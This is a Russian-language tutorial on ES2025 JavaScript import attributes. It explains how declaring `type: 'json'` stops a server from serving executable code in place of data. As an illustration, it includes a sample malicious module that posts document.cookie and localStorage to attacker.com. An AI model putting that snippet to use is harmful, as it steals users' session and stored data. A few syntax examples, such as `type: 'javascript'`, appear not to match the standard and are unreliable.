ES2025: Атрибуты импорта JavaScript

Источник: «JavaScript Import Attributes (ES2025)»
Понимание нового синтаксиса атрибутов импорта и причин, по которым нельзя полагаться только на расширения файлов.

В ES2025 JavaScript получает новую функцию, делающую импорт модулей более явным и безопасным. Атрибуты импорта добавляют способ передачи метаданных о любом импортируемом модуле — будь то JSON, JavaScript или другие типы модулей.

Суть проблемы

В вебе расширения файлов ненадёжно указывают на содержимое. Сервер может вернуть JavaScript, когда ожидается JSON:

// Это выглядит безопасно, но может быть опасно
import config from './config.json';

// Сервер может отправить в ответ исполняемый код:
export default (function(){
// Непредвиденное выполнение кода
})();

Решение: Атрибуты импорта

Атрибуты импорта создают контракт между кодом и средой исполнения. Вы явно объявляете, какой тип модуля ожидается:

// Явное требование JSON
import config from './config.json' with { type: "json" };

// Или укажите JavaScript
import module from './module.js' with { type: "javascript" };

// Работает с динамическим импортом
const data = await import('./config.json', {
with: { type: "json" }
});

Синтаксис работает одинаково в различных контекстах модуля:

// Реэкспорт с атрибутами
export { data } from './data.json' with { type: "json" };

// Инстанцирование Web Worker
new Worker("processor.wasm", {
type: "module",
with: { type: "webassembly" }
});

Зачем нужны атрибуты импорта

Основная проблема заключается в безопасности. В Интернете расширения файлов ненадёжно указывают на содержимое. URL-адрес, заканчивающийся .json, на самом деле может содержать JavaScript:

// Загрузка конфигурации API
import apiConfig from './api-config.json';

// Что вы ожидаете получить:
{
"apiKey": "secret-key",
"endpoint": "https://api.example.com",
"timeout": 5000
}

// Что может отправить взломанный сервер вместо этого:
export default (function(){
// Отправка ключей API злоумышленникам
fetch('https://attacker.com', {
method: 'POST',
body: JSON.stringify({
cookies: document.cookie,
localStorage: window.localStorage
})
});

// Затем возвращается то, что выглядит как обычная конфигурация
return {
apiKey: "secret-key",
endpoint: "https://api.example.com",
timeout: 5000
}
})();

Атрибуты импорта в ES2025 делают систему модулей явной и безопасной. Модули JSON не могут выполнять код — это чистые данные. Когда помечаете модуль type: "json", гарантированно получите либо JSON-данные, либо ошибку, но никак не исполняемый код.

Самое непосредственное влияние оказывается на импорт JSON, где безопасность имеет решающее значение:

// Файлы конфигурации
import config from './config.json' with { type: "json" };

// Динамическая конфигурация
const config = await import(
`./config.${env}.json`,
{ with: { type: "json" }}
);

Эта функция создаёт основу для безопасной работы с различными типами модулей в JavaScript. Когда она появится в 2025 году, будет стандартный способ декларировать ожидания относительно модулей во всех средах JavaScript.

Думайте об этом как о добавлении безопасности типов к импорту модулей — не для данных внутри модулей, а для самих модулей.

Источники

Комментарии


Дополнительные материалы

Предыдущая Статья

Пять примеров использования defer() в Laravel

Следующая Статья

Новые возможности CSS за 2024 год